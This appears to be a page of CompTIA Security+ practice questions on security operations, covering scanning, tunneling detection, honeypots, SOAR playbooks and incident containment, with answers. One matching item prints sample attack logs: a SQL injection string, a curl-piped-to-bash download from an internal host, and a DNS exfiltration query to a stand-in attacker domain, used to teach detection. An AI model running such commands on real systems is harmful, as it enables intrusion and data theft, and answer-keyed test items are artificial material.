Examkin

Security Operations

627 questions

All types627Multiple choice320Multiple select139Matching36Ordering132
Question 581Question →

A security administrator is designing a vulnerability scanning strategy for an enterprise environment containing both standard authenticated servers and fragile legacy embedded systems. The primary goals are to obtain deep visibility into host patches and configuration flaws on the servers while minimizing network traffic overhead and preventing disruption to sensitive legacy devices. Which of the following technical scanning approaches should the administrator implement? (Select TWO.)

Select all that apply

Show answer & explanation

Answer: Deploy host-based vulnerability scanning agents on authenticated servers to collect local patch and configuration details with minimal network bandwidth impact.; Schedule authenticated network vulnerability scans targeting server segments during off-peak maintenance windows.

Answer

The administrator should deploy host-based scanning agents on authenticated servers and schedule authenticated network vulnerability scans targeting server segments during off-peak maintenance windows.
Deploying host-based scanning agents provides direct, low-bandwidth access to target system patch levels and registry configurations. Additionally, conducting scheduled authenticated network scans during off-peak maintenance windows provides thorough configuration insight while preventing performance degradation on critical infrastructure.

Step-by-Step Solution

1
Analyze requirement for server visibility and network bandwidth constraint.
Host-based agents allow deep inspection of patches and OS configurations locally while generating negligible network traffic.
Agents execute scans locally rather than sending heavy probe packets across network segments.
2
Determine safe scanning methodology for enterprise server networks without affecting operational productivity.
Scheduling authenticated network scans during off-peak windows provides verified administrative-level vulnerability results without risking network congestion during business hours.
Authenticated scans log directly into target hosts to verify missing patches, eliminating false positives common in unauthenticated banner checks.
3
Evaluate risk regarding legacy embedded endpoints.
Avoid intrusive scans on legacy devices, as their limited network stacks can crash under high packet volumes or aggressive probing.
Passive monitoring or restricted non-intrusive scans are preferred for fragile legacy assets.

Key Concept

Credentialed Scanning and Host-Based Scanning Agents
Question 582Question →

A Security Operations Center (SOC) analyst receives a high-priority alert regarding anomalous network traffic detected by a NetFlow monitoring tool. The flow logs reveal continuous, high-volume ICMP Echo Request traffic originating from an internal server to an unknown external IP address, with each packet carrying an unusually large payload of 1,400 bytes. Which of the following statements accurately interpret this network activity and specify the appropriate initial containment steps? (Select TWO.)

Select all that apply

Show answer & explanation

Answer: The observed traffic pattern indicates potential covert data exfiltration utilizing ICMP tunneling.; The analyst should isolate the internal server from the network and block the remote IP address at the perimeter firewall.

Answer

The network log pattern indicates potential covert data exfiltration via ICMP tunneling, and the analyst's immediate containment response must include isolating the internal server and blocking the external destination IP address at the firewall.
ICMP Echo Request packets with oversized payloads (such as 1,400 bytes) sent continuously to an external address are a classic indicator of ICMP tunneling, a technique used by adversaries to exfiltrate sensitive data inside standard ICMP traffic. In response to suspected ongoing data exfiltration, standard security incident containment protocol dictates isolating the compromised source system from the network to halt internal movement and blocking the external target IP address on perimeter firewalls to prevent further outbound flow.

Step-by-Step Solution

1
Analyze the NetFlow anomaly and packet payload attributes.
Identified high-volume ICMP Echo Requests carrying 1,400-byte payloads destined for an external IP address.
Standard ICMP requests carry negligible data payloads; large custom payloads indicate covert protocol tunneling used to exfiltrate data past port-based firewall restrictions.
2
Evaluate incident containment best practices for covert data exfiltration.
Determined that network isolation of the host and blocking the remote destination IP address stops ongoing exfiltration.
Isolating the internal asset prevents further unauthorized communication while perimeter block rules prevent additional outbound connections to the threat actor's infrastructure.

Key Concept

Network Security Monitoring & ICMP Tunneling Detection
Estimated Time:1m 30s
Question 583Question →

During a routine network security monitoring review, a security analyst analyzes DNS traffic logs from an internal database server and identifies repetitive query patterns requesting long, randomized subdomains under an external domain, accompanied by large TXT record responses containing base64-encoded payloads. Which of the following initial containment and mitigation actions should the analyst take? (Select TWO.)

Select all that apply

Show answer & explanation

Answer: Restrict outbound UDP and TCP port 53 traffic on the firewall so that internal servers can only query authorized enterprise DNS resolvers.; Configure internal DNS servers to sinkhole resolution requests for the malicious parent domain to a non-routable address.

Answer

The correct containment actions are restricting outbound port 53 traffic on perimeter firewalls to authorized internal resolvers and configuring internal DNS servers to sinkhole the malicious target domain.
The observed traffic pattern—high volume queries with randomized subdomains and base64 TXT responses—is a signature indicator of DNS tunneling. To mitigate this threat effectively, administrators must restrict direct outbound port 53 access from internal endpoints to prevent unauthorized external recursive lookups, and sinkhole the suspicious root domain on internal resolvers to prevent successful resolution.

Step-by-Step Solution

1
Analyze the log indicators
Identify that randomized subdomains and base64 TXT responses represent DNS tunneling used for command-and-control or data exfiltration.
Recognizing the protocol vector is essential for choosing effective network-level mitigations.
2
Apply egress filtering controls
Block direct external outbound DNS requests (UDP/TCP 53) from internal systems at the firewall.
Enforcing query path restrictions forces all DNS traffic through controlled internal resolvers where monitoring and policy enforcement occur.
3
Implement DNS sinkholing
Redirect queries targeting the malicious domain to a loopback or non-routable IP address.
Sinkholing neutralizes active exfiltration sessions immediately without impacting legit internal service operation.

Key Concept

DNS Tunneling Detection and Mitigation
Question 584Question →

A network intrusion detection system (NIDS) generates an alert showing unexpected SMB connection attempts originating from an internal workstation (192.168.10.45) directed toward an unassigned internal IP address (10.0.99.50) hosting a decoy server. Security policy dictates that no operational systems should ever communicate with this target address. Which of the following conclusions correctly interprets this network security monitoring alert?

Show answer & explanation

Answer: The alert indicates unauthorized internal lateral movement or reconnaissance detected by a deception monitoring control.

Answer

The alert indicates unauthorized internal lateral movement or reconnaissance detected by a deception monitoring control.
Because honeypots are decoy assets with no legitimate operational role, any network traffic directed toward them serves as a high-fidelity indicator of unauthorized reconnaissance or lateral movement from a compromised host.

Step-by-Step Solution

1
Analyze the alert telemetry, identifying the source IP, destination IP, and target protocol.
Identified internal host 192.168.10.45 initiating SMB connections to target host 10.0.99.50.
Determining the flow and nature of traffic is necessary to evaluate the security context of the alert.
2
Evaluate the functional role of the target asset in network operations.
Recognized 10.0.99.50 as a decoy/honeypot asset with zero legitimate production traffic.
Because honeypots serve no active business purpose, any connection attempt represents high-fidelity evidence of scanning or unauthorized lateral movement.
3
Select the option that accurately reflects the alert significance and security control classification.
Concluded that the event captures internal threat activity via a detective deception control.
Honeypots serve a detective function rather than acting as inline traffic firewalls or automated remediation utilities.

Key Concept

Deception Technology and Network Incident Alerting
Question 585Question →

A Security Operations Center (SOC) analyst receives a high-priority alert from a Network Intrusion Detection System (NIDS) indicating anomalous outbound TCP traffic on port 443 with a mismatched Server Name Indication (SNI) header. In what order should the analyst execute the following triage and response steps to effectively investigate and mitigate the network threat?

Drag items to arrange them in the correct order

Show answer & explanation

Answer

The correct sequence begins with examining the initial NIDS alert metadata, querying NetFlow data to measure session impact, correlating network events with host endpoint logs, and ending with executing containment and network block rules.
The analyst must follow standard network security monitoring procedure: start by reviewing NIDS metadata for baseline context, examine NetFlow records for session metrics, cross-reference endpoint logs to determine the initiating process, and finally enforce containment once malicious activity is confirmed.

Step-by-Step Solution

1
Analyze NIDS alert metadata
Identified source internal host IP and remote destination IP address
Initial triage requires verifying basic alert properties before conducting deeper analysis.
2
Evaluate NetFlow telemetry
Quantified session duration and total byte counts sent over the network
Flow statistics help assess potential impact and determine if large data transfers occurred.
3
Correlate with host endpoint logs
Identified the specific process and user account creating the socket connection
Linking network alerts to endpoint activity isolates the root cause software or script.
4
Execute containment and mitigation controls
Blocked outbound connection attempt and isolated compromised system
Active containment is performed after identifying and verifying the threat vector to prevent further damage.

Key Concept

Network Security Monitoring Triage Workflow
Estimated Time:1m 30s
Question 586Question →

A security monitoring system triggers a high-severity alert showing that an internal corporate workstation initiated an unsolicited Server Message Block (SMB) connection attempt to an internal low-interaction deception host (honeypot). Which of the following best describes the security role of this alert and the immediate action the analyst should take?

Show answer & explanation

Answer: The alert indicates potential lateral movement or reconnaissance detected by a detective control; the analyst should isolate the originating workstation from the network for investigation.

Answer

The honeypot acts as a detective control detecting potential internal lateral movement, and the analyst should isolate the originating internal workstation for containment and triage.
Honeypots are deception technologies that function as detective controls. Because honeypots host no legitimate enterprise services or data, any inbound connection attempt indicates anomalous activity, internal reconnaissance, or lateral movement. Isolating the originating internal host limits potential threat proliferation.

Step-by-Step Solution

1
Analyze the alert source and target IP addresses.
Identified that an internal workstation attempted to connect to a low-interaction honeypot IP address.
Production hosts should never legitimately attempt connections to deception hosts within an enterprise network.
2
Determine the control classification of the deception host.
Recognized the honeypot as a detective control designed to monitor unauthorized access attempts and internal reconnaissance.
Honeypots do not act as inline filtering devices or automated corrective tools.
3
Select the appropriate incident containment procedure.
Recommend isolating the suspect internal workstation from the network.
Containment prevents potential lateral movement or data exfiltration while investigation takes place.

Key Concept

Deception Technology in Network Security Monitoring
Question 587Question →

An enterprise security team needs to remediate a critical zero-day vulnerability in a high-throughput API gateway fleet supporting real-time financial transactions. To ensure system stability and regulatory compliance, the team must execute a structured patch and configuration management workflow. In what sequence should the security team perform the following operational steps from first to last?

Drag items to arrange them in the correct order

Show answer & explanation

Answer

The correct sequence of steps is: 1) Validate patch installation and vulnerability remediation efficacy in an isolated sandbox lab environment, 2) Deploy the patch to a production-mirror staging environment to perform automated regression testing and baseline drift checks, 3) Submit the staging test metrics, security assessment results, and back-out rollback strategy to the Change Advisory Board for formal deployment authorization, 4) Execute a phased canary deployment across a limited percentage of production API gateway nodes while monitoring performance indicators, and 5) Update and digitally sign the authoritative version-controlled configuration baseline repository to reflect the patched system state.
A complete patch and configuration management lifecycle follows a strict progression designed to mitigate operational risk and maintain compliance. First, patches must be validated in an isolated sandbox to confirm vulnerability remediation. Second, the patch must undergo integration and regression testing in a staging environment to detect performance or configuration issues under realistic load. Third, test artifacts and rollback strategies are submitted to the Change Advisory Board for governance review and formal deployment approval. Fourth, a canary deployment is conducted in production to minimize blast radius while verifying telemetry. Finally, once the deployment is verified successful across all nodes, the golden configuration baseline is updated and signed to establish the new authoritative benchmark.

Step-by-Step Solution

1
Isolated Validation
Patch efficacy and basic functionality are confirmed without exposing enterprise systems to risk.
Initial testing must occur in a contained environment to verify that the vendor fix actually mitigates the vulnerability.
2
Staging and Integration Testing
Interoperability with surrounding API services and absence of baseline configuration drift are verified.
Testing in a production-identical staging environment catches unexpected dependency breakages prior to operational change review.
3
Change Governance Review
Formal authorization is granted by the Change Advisory Board based on risk assessment and rollback readiness.
Enterprise security frameworks require Change Advisory Board review and signed-off back-out procedures before live system modification.
4
Controlled Production Rollout
The patch is deployed incrementally with minimal blast radius should unexpected runtime failures occur.
Phased canary deployments allow continuous telemetry monitoring so engineers can instantly trigger a rollback if anomaly thresholds are breached.
5
Baseline Artifact Update
The version-controlled infrastructure baseline is updated and signed to define the new compliance target.
Configuration management tools rely on updated authoritative baselines to prevent false-positive drift alerts and enable consistent automated provisioning.

Key Concept

Enterprise Patch and Configuration Management Lifecycle
Question 588Question →

A security analyst is preparing to perform a vulnerability assessment on an isolated network segment containing legacy Point-of-Sale (POS) devices. During a prior assessment, aggressive network probes caused service outages on several legacy terminals. The analyst must obtain an accurate vulnerability report for audit compliance while preventing system instability. Which of the following scanning approaches should the analyst implement?

Show answer & explanation

Answer: Configure an authenticated non-intrusive scan with reduced packet concurrency and rate-limiting.

Answer

Configure an authenticated non-intrusive scan with reduced packet concurrency and rate-limiting.
Authenticated (credentialed) non-intrusive scanning uses valid system credentials to query operating system attributes, patch levels, and installed software internally. Because it reads system state directly rather than firing aggressive network exploit probes, it delivers high accuracy with minimal risk of crashing sensitive legacy host services.

Step-by-Step Solution

1
Identify system constraints and risk tolerance.
Legacy POS devices are sensitive to high packet volumes and active exploitation attempts, causing crashes.
Scanning requirements must balance accuracy with operational availability.
2
Select the appropriate scanning technique.
Authenticated (credentialed) non-intrusive scanning inspects local configuration registries and patch management files directly.
Credentialed access avoids sending dangerous network probes while providing detailed, accurate vulnerability data.
3
Adjust scan engine performance parameters.
Rate-limiting and reducing concurrent target probes prevents network traffic congestion.
Lowering concurrency ensures legacy network stacks on POS devices are not overwhelmed.

Key Concept

Credentialed vs. Non-Credentialed and Intrusive vs. Non-Intrusive Vulnerability Scanning
Question 589Question →

Match each security telemetry log snippet with its corresponding threat classification or event type.

Click a left item, then click its matching right item

Items

Apache Access Log:
10.0.4.15 - - [27/Jul/2026:10:15:02] "GET /catalog.php?id=10%20UNION%20SELECT%20null,table_name%20FROM%20information_schema.tables-- HTTP/1.1" 200 3420
Windows Security Event Log:
Event ID 4625 | Target Account: Administrator | Failure Reason: Unknown user name or bad password | Rate: 450 failed attempts within 30 seconds
Linux Auditd Log:
type=EXECVE msg=audit(1785149300.124:402): execve("/bin/bash", ["bash", "-c", "curl -s http://192.168.5.10/stage2.sh | bash"], ...)
DNS Query Telemetry:
Query Type: TXT | Domain Request: "dGVzdF9zZWNyZXRfZGF0YQ.exfil.attacker-control.net" | Response Code: 200 OK

Matches

Show answer & explanation

Answer

1. Apache access log showing UNION SELECT syntax matches SQL Injection database schema discovery.
2. Windows Event ID 4625 showing rapid failures matches automated brute-force authentication.
3. Linux auditd log showing curl piped to bash matches command injection payload execution.
4. DNS query showing encoded subdomains in TXT records matches DNS tunneling.
Each log archetype provides unique markers: SQL keywords in HTTP logs indicate SQL Injection, high-frequency Event ID 4625 logs indicate brute-force authentications, auditd shell invocation logs indicate command execution, and encoded DNS TXT subdomains indicate DNS tunneling.

Step-by-Step Solution

1
Examine the HTTP request string in the web server access log.
Identified URL-encoded SQL database discovery statements ('UNION SELECT').
SQL injection attacks inject structured query statements into HTTP parameters to extract backend data.
2
Analyze the Windows Event ID and failure frequency.
Event ID 4625 combined with 450 rapid failures confirms automated password brute-forcing.
Event ID 4625 specifically tracks logon failures on Windows operating systems.
3
Inspect the system execution parameters in the Linux kernel audit log.
Identified bash executing curl commands piped directly to a shell.
Auditd EXECVE events capture process execution arguments, highlighting malicious downloader invocation.
4
Evaluate the DNS query parameters and request structure.
Encoded string subdomains in TXT queries confirm covert channel data exfiltration.
DNS tunneling encapsulates non-DNS protocol traffic inside standard DNS lookup requests.

Key Concept

Telemetry Identification and Security Event Correlation
Question 590Question →

A security engineer is configuring an automated Security Orchestration, Automation, and Response (SOAR) playbook designed to ingest high-confidence malicious IP addresses from a Threat Intelligence Platform (TIP) and instantly push block rules to perimeter firewalls. During a recent threat feed update, a shared public DNS resolver IP was misclassified as malicious, causing the playbook to automatically block critical outgoing traffic. Which modification to the playbook workflow logic should be implemented to prevent future unintended outages?

Show answer & explanation

Answer: Incorporate an automated exclusion list verification step prior to invoking the firewall API block action.

Answer

Incorporate an automated exclusion list verification step prior to invoking the firewall API block action.
The correct response is to incorporate an automated exclusion list verification step prior to executing the blocking action. In SOAR playbook design, guardrails such as allow-lists or sanity-check filters prevent automated integrations from disrupting critical infrastructure or common enterprise services.

Step-by-Step Solution

1
Analyze the cause of the operational incident.
Identified that an automated SOAR playbook acted blindly on third-party threat feed data containing a legitimate infrastructure IP.
Automation without validation guardrails can cause accidental denial-of-service to legitimate resources.
2
Evaluate playbook decision logic modifications.
Adding a conditional step to cross-reference IPs against an enterprise allow/exclusion list before invoking API block calls prevents critical IPs from being blocked.
Exclusion checks act as guardrails for automated response workflows.

Key Concept

SOAR Playbook Guardrails and Conditional Logic
Question 591Question →

A Security Operations Center (SOC) analyst receives a high-severity SIEM alert and extracts the following raw Active Directory Kerberos ticket request log entry from a central domain controller:

text
Event ID: 4769
Status: 0x0
TargetUserName: [email protected]
Service Name: MSSQLSvc/sql-prod01.finance.local:1433
Service ID: S-1-5-21-3829102-1204918-948102-5102
Ticket Options: 0x40810000
Ticket Encryption Type: 0x17
Client Address: ::ffff:10.12.84.45
Client Port: 53218

Based on the log snippet provided, which threat activity is occurring, and how should the SIEM correlation rule be configured to detect future instances of this attack while minimizing false positives?

Show answer & explanation

Answer: A Kerberoasting attack is occurring; configure the SIEM correlation rule to flag Event ID 4769 requests that specify legacy RC4 encryption (0x17) for non-machine Service Principal Names (SPNs).

Answer

The activity represents a Kerberoasting attack. The SIEM correlation rule should be configured to detect Event ID 4769 logs requesting RC4 encryption (0x17) associated with non-machine user accounts.
The log entry displays Windows Event ID 4769 (Kerberos Service Ticket Request) with a Ticket Encryption Type of 0x17 (RC4-HMAC) for a database service principal name (MSSQLSvc). In Kerberoasting attacks, adversary accounts request Kerberos service tickets for accounts with configured SPNs explicitly requesting downgrade to RC4 encryption, which allows for fast offline cracking of the service account's plain-text password. Fine-tuning the SIEM correlation rule to watch for Event ID 4769 where Ticket Encryption Type is 0x17 targeting user-associated SPNs provides high-confidence detection.

Step-by-Step Solution

1
Analyze Event ID and Log Metadata
Event ID 4769 corresponds to a Kerberos Service Ticket Request (TGS-REQ). Status 0x0 confirms the request succeeded.
Identifying the event type establishes whether authentication, authorization, or service ticket issuing is taking place.
2
Evaluate Service Name and Encryption Type Parameters
The Service Name targets a SQL service SPN (`MSSQLSvc/...`), and the requested Ticket Encryption Type is `0x17` (RC4-HMAC).
Modern Active Directory environments default to AES-128 (0x12) or AES-256 (0x18). Requesting RC4 (0x17) allows threat actors to extract the ticket from memory and perform offline password brute-forcing (Kerberoasting).
3
Determine Optimal SIEM Correlation Logic
A high-fidelity rule filters for Event ID 4769 where `Ticket Encryption Type` equals `0x17` and the `TargetUserName` is a service account.
Filtering specifically on legacy encryption requests for user-bound SPNs isolates offline ticket extraction attacks while excluding standard AES kerberos traffic.

Key Concept

Kerberoasting Detection via Event ID 4769 Analysis
Question 592Question →

An incident responder acquires a forensic bit-stream image of a compromised server's storage drive. To demonstrate in court that the collected evidence image remains untampered and identical to the original drive at the time of capture, which of the following actions should the responder perform?

Show answer & explanation

Answer: Calculate a cryptographic hash of the drive immediately upon acquisition and verify it against subsequent image copies

Answer

Calculating a cryptographic hash of the drive immediately upon acquisition and verifying it against subsequent image copies proves that the evidence remains unaltered.
Generating a cryptographic hash immediately upon evidence acquisition creates a unique checksum of the drive's contents. Comparing this original hash against the hash of working copies ensures that the evidence has remained untouched and authentic throughout the investigation.

Step-by-Step Solution

1
Identify the requirement for proving digital evidence integrity in legal proceedings.
The requirement demands a deterministic mathematical method to prove data has not changed since collection.
Digital evidence can easily be altered accidentally or intentionally during handling.
2
Evaluate the mechanism used to verify file and disk image integrity.
Cryptographic hashing algorithms (such as SHA-256) generate a unique fixed-length string for the source drive.
If even a single bit of the evidence changes, the resulting hash value will change completely.
3
Match the best procedure to the scenario requirement.
Generating the hash immediately after acquisition and comparing future copies to this original hash verifies evidence integrity.
Matching hash values confirm data integrity and admissibility in legal settings.

Key Concept

Cryptographic Hashing for Evidence Integrity
Question 593Question →

A security analyst discovers that a workstation on the corporate network is actively communicating with a known malicious command-and-control server following a phishing incident. Which of the following actions should the analyst perform as part of the containment phase? (Select TWO).

Select all that apply

Show answer & explanation

Answer: Disconnect the compromised workstation from both wired and wireless network interfaces.; Disable the user account associated with the compromised workstation.

Answer

Disconnecting the compromised workstation from all network interfaces and disabling the associated user account are the appropriate immediate containment steps.
During the containment phase, the primary goal is to isolate affected systems and accounts to prevent further spread or data exfiltration. Disconnecting the endpoint from wired/wireless networks halts external communication and lateral movement. Disabling the compromised user account prevents stolen credentials from being reused elsewhere across the domain.

Step-by-Step Solution

1
Identify the primary objective during the containment phase of incident response.
Recognize that containment aims to halt the spread of the attack and limit damage immediately without destroying volatile evidence.
Containment limits threat exposure before active remediation begins.
2
Evaluate network isolation as a containment mechanism.
Disconnecting network interfaces immediately cuts off adversary access to command-and-control infrastructure and prevents lateral movement.
Network isolation stops active data exfiltration and further spreading.
3
Evaluate identity control measures during containment.
Disabling the compromised user account prevents unauthorized access to cloud and network resources from secondary endpoints.
Account disabling restricts access vectors associated with potentially leaked credentials.

Key Concept

Incident Response Containment Phase Actions
Question 594Question →

A systems administrator needs to assess internal enterprise servers for missing operating system patches and local security misconfigurations. To obtain accurate, detailed host inspection results while minimizing false positives and network noise, the administrator must avoid attempting any actual system exploitation. Which of the following scanning approaches best satisfies these requirements?

Show answer & explanation

Answer: Credentialed vulnerability scan

Answer

Credentialed vulnerability scan
The option selecting a credentialed vulnerability scan is correct because providing valid login credentials allows the scanner to log into the host and examine local settings, registry keys, and missing system updates directly. This yields precise findings with minimal false positives and zero risk of causing service outages through exploit execution.

Step-by-Step Solution

1
Identify the primary requirements of the scenario
The requirement calls for identifying missing OS patches and local misconfigurations on internal servers accurately, without attempting system exploitation.
Understanding the operational goals separates passive/external checks from deep host-level assessment methods.
2
Evaluate host access requirements for software patch detection
Direct host authentication (using credentials) is required to inspect local system registries, missing security updates, and local settings accurately.
Network-only scans cannot query internal software inventories directly.
3
Select the appropriate non-intrusive vulnerability scanning approach
A credentialed vulnerability scan delivers detailed, low-noise results safely without attempting active exploitation.
Credentialed scanning provides host-level visibility without performing penetration testing attack vectors.

Key Concept

Credentialed vs. Non-Credentialed Vulnerability Scanning
Estimated Time:45s
Question 595Question →

A Security Operations Center (SOC) analyst detects lateral movement across several workstation subnets. Further analysis reveals that an attacker is using compromised domain administrator credentials to remotely execute malicious scripts and establish persistent connections. The organization initiates its incident response playbook and moves into the containment phase. Which TWO of the following immediate actions should the incident response team execute during this phase?

Select all that apply

Show answer & explanation

Answer: Disconnect affected host workstations from the network via host isolation commands while keeping systems powered on.; Revoke active Kerberos ticket-granting tokens and temporarily disable the compromised administrator account.

Answer

The incident response team should disconnect affected host workstations from the network via host isolation while keeping them powered on, and revoke active Kerberos ticket-granting tokens while temporarily disabling the compromised administrator account.
In accordance with standard NIST incident response guidelines, containment focuses on stopping the spread of an incident and mitigating active threat vectors. Network host isolation stops lateral movement across subnets while preserving RAM for forensics, and disabling compromised administrative credentials prevents further unauthorized authentication.

Step-by-Step Solution

1
Identify containment objectives for lateral movement and compromised identity attack vectors.
The primary goals in containment are isolating affected segments to prevent blast radius expansion and cutting off active compromised identity sessions without destroying evidence.
Containment limits damage while maintaining forensic volatility integrity.
2
Evaluate network and host containment measures.
Disconnecting affected endpoints via host-based software controls isolates the system from communicating with other internal assets while preserving volatile memory state.
Host network isolation blocks lateral traffic without powering off devices.
3
Evaluate identity containment measures.
Revoking active session tokens and disabling compromised user accounts stops credential abuse immediately across the directory domain.
Attackers using valid administrative credentials will lose access immediately across network services.

Key Concept

Incident Response Containment Tactics and Volatility Preservation
Question 596Question →

A Security Operations Center (SOC) analyst receives a high-severity Network Intrusion Prevention System (NIPS) alert indicating potential unauthorized data exfiltration from a core database host to an external IP address. Place the incident response steps in the correct operational sequence, starting from initial alert validation through threat intelligence integration.

Drag items to arrange them in the correct order

Show answer & explanation

Answer

The correct operational sequence begins with validating the alert using NetFlow and NIPS payload data, followed by SIEM log correlation for host context, executing network isolation to halt exfiltration, conducting PCAP forensic analysis to extract IOCs, and updating enterprise monitoring signatures and blocklists.
In standard network security incident operations, analysts must first validate the NIPS alert with NetFlow data to confirm true positive status. Next, SIEM correlation provides necessary endpoint and host context. Once verified, network containment (VLAN isolation) must be implemented immediately to halt data loss. After containment, PCAP analysis extracts specific C2 indicators, which are finally ingested into NIDS/NIPS signatures and perimeter blocklists to protect the broader network.

Step-by-Step Solution

1
Analyze NIPS alert payload and NetFlow traffic statistics.
Validation of the network anomaly as a true positive event.
Alert validation prevents misallocating response resources to false positives.
2
Query SIEM for host authentication and endpoint telemetry.
Identification of compromised accounts or malicious processes on the source host.
Establishes host-level context and potential root cause following traffic verification.
3
Enforce dynamic VLAN isolation on the network infrastructure.
Immediate containment of data exfiltration and restriction of lateral movement.
Containment takes immediate priority over detailed forensics once a threat is confirmed.
4
Analyze full packet capture (PCAP) files collected during the event window.
Extraction of actionable C2 domains, IP addresses, and payload hashes.
Forensic investigation can be performed safely after the active threat pathway is severed.
5
Incorporate newly discovered IOCs into NIDS/NIPS detection rules and blocklists.
Enhanced detection coverage against the adversary's infrastructure across the organization.
Ensures long-term resilience and real-time alerting for similar threat vectors.

Key Concept

Network Incident Response Lifecycle & Monitoring Workflow
Question 597Question →

An enterprise security platform detects an exposed cloud service API key in a public code repository. Arrange the steps of an automated Security Orchestration, Automation, and Response (SOAR) playbook into the correct operational sequence from initial alert detection to incident ticket resolution.

Drag items to arrange them in the correct order

Show answer & explanation

Answer

The correct operational sequence for the SOAR playbook is: (1) Ingest and parse the alert payload received via webhook from the secret detection scanner, (2) Query cloud IAM and SIEM logs to enrich the alert with identity context, key permissions, and active usage logs, (3) Execute automated API calls to revoke the leaked API key and terminate associated active session tokens, (4) Query cloud audit logs to extract all API actions initiated by the key prior to revocation and attach them to the case file, and (5) Generate a high-priority ticket in the ITSM platform and notify the Security Operations Center team with summary metrics.
A standard automated SOAR playbook follows a precise operational lifecycle: (1) Incident ingestion & parsing, (2) Contextual enrichment via integrations, (3) Rapid automated containment, (4) Forensic artifact collection, and (5) Incident documentation & analyst notification.

Step-by-Step Solution

1
Ingest and parse incoming webhook trigger.
The SOAR tool validates the alert payload content and starts playbook execution.
Automation requires a parsed payload to extract key parameters like API key ID and repository source.
2
Perform contextual enrichment using API integrations.
Identity, permission scope, and recent activity logs are gathered.
SOAR playbooks perform enrichment prior to taking action to evaluate impact and avoid disabling critical production systems blindly.
3
Perform automated containment via API integration.
Compromised credentials are neutralized immediately.
Fast automated mitigation reduces attacker dwell time and prevents lateral movement or data exfiltration.
4
Collect and attach forensic audit logs.
Historical event logs associated with the key are attached to the incident record.
Preserving audit trails immediately after containment ensures evidence integrity for secondary investigation.
5
Create an ITSM ticket and dispatch notifications.
An incident ticket is logged and human analysts are briefed on the automated actions taken.
Concluding with administrative logging and analyst notification completes the workflow and satisfies compliance tracking.

Key Concept

SOAR Incident Response Workflow Sequence
Question 598Question →

During a incident response simulation, an automated Security Orchestration, Automation, and Response (SOAR) playbook triggered by a high-fidelity alert executed a host isolation script against a primary Domain Controller, causing an enterprise-wide network outage. Which modification to the playbook workflow best mitigates the operational risk to critical infrastructure while preserving automated response speed for standard endpoints?

Show answer & explanation

Answer: Insert a conditional filter to inspect asset classification tags, routing domain controllers to a human-in-the-loop approval step while continuing automated isolation for standard workstations.

Answer

Insert a conditional filter to inspect asset classification tags, routing domain controllers to a human-in-the-loop approval step while continuing automated isolation for standard workstations.
Effective SOAR playbook design pairs automation speed with operational risk management. Introducing conditional logic based on asset metadata ensures standard workstations are isolated rapidly upon alert detection, whereas high-criticality assets (such as Domain Controllers) trigger a human-in-the-loop (HITL) approval request to prevent accidental service outages.

Step-by-Step Solution

1
Identify the operational vulnerability introduced by fully automated SOAR containment.
Unrestricted automated playbooks can unintentionally disable critical infrastructure during high-severity events or false positives.
Mission-critical systems such as identity providers and domain controllers require operational safeguards.
2
Design a conditional workflow that balances response automation with operational safety.
By evaluating asset classification tags, standard endpoints remain fully automated while high-value assets require manual authorization.
Human-in-the-loop (HITL) gates prevent automated self-denial of service on vital enterprise services.

Key Concept

SOAR Playbook Conditional Branching and Human-in-the-Loop (HITL) Approval Controls
Question 599Question →

During a routine vulnerability audit, a security analyst discovers that multiple cloud virtual machines provisioned via Infrastructure as Code (IaC) templates are running outdated OS software packages vulnerable to remote code execution. Manually logging into each running instance to apply software patches resolves the vulnerability temporarily, but subsequent automated orchestration runs overwrite the manual patches, reverting systems to the vulnerable state. Which of the following operational procedures should the analyst implement to permanently remediate the vulnerability without introducing configuration drift?

Show answer & explanation

Answer: Update the baseline golden image and IaC repository templates with the patched package versions, then redeploy the virtual machine instances through the CI/CD pipeline.

Answer

Update the baseline golden image and Infrastructure as Code (IaC) repository templates, followed by redeploying the instances using the automated CI/CD pipeline.
In automated and Infrastructure as Code (IaC) environments, system configurations are driven by centralized baselines and golden images. Updating the underlying IaC code and base images ensures that patches are built into the source of truth, allowing automated CI/CD pipelines to deploy compliant, non-drifting instances.

Step-by-Step Solution

1
Identify the root cause of patch reversal
Recognize that automated configuration management and IaC templates enforce defined baselines, overwriting manual system changes.
Manual changes cause configuration drift when central baselines are not updated.
2
Update central configuration assets
Incorporate the updated software packages into the base golden image and IaC repository templates.
Ensures that the source of truth reflects the required patch level.
3
Redeploy affected infrastructure
Trigger automated pipeline deployment to replace vulnerable instances with updated baseline builds.
Permanently remediates the vulnerability while maintaining centralized configuration state integrity.

Key Concept

Configuration Drift and Immutable Infrastructure Patch Management
Estimated Time:2m 0s
Question 600Question →

A Security Operations Center (SOC) team is designing an automated Security Orchestration, Automation, and Response (SOAR) playbook to handle high-fidelity ransomware alerts from Endpoint Detection and Response (EDR) agents. To prevent widespread encryption, the playbook is intended to isolate infected hosts immediately. However, leadership is concerned that automated isolation of critical domain controllers or database servers could cause severe business disruption. Which design modification should the SOC team implement in the SOAR playbook to balance rapid response with operational safety?

Show answer & explanation

Answer: Incorporate a conditional decision node that evaluates asset criticality tags before isolation, routing critical servers to a human-in-the-loop (HITL) approval queue while automatically isolating standard endpoints.

Answer

Incorporate a conditional decision node that evaluates asset criticality tags before isolation, routing critical servers to a human-in-the-loop (HITL) approval queue while automatically isolating standard endpoints.
The correct response introduces a conditional check within the playbook workflow based on asset tagging. Standard workstations are automatically isolated to stop ransomware spread, whereas high-value critical assets trigger a human-in-the-loop (HITL) notification for manual analyst verification. This logic successfully mitigates enterprise outage risks while maintaining automated response capabilities.

Step-by-Step Solution

1
Analyze the operational goal and safety constraints of the SOAR playbook.
Identified the need to isolate compromised endpoints quickly while preventing self-inflicted outages on core infrastructure.
Fully automated isolation on non-critical systems mitigates threat spread, but critical infrastructure requires manual validation to maintain business continuity.
2
Evaluate playbook decision logic implementations.
Conditional branching using metadata (asset criticality tags) separates standard workstations from critical servers.
Conditional branching combined with Human-In-The-Loop (HITL) gates ensures targeted automated response without endangering essential services.

Key Concept

SOAR Playbook Workflow Logic and Human-in-the-Loop (HITL) Controls
Estimated Time:1m 15s
PreviousPage 30 / 32Next
Security Operations Practice Questions — CompTIA Security+ — Page 30 | Examkin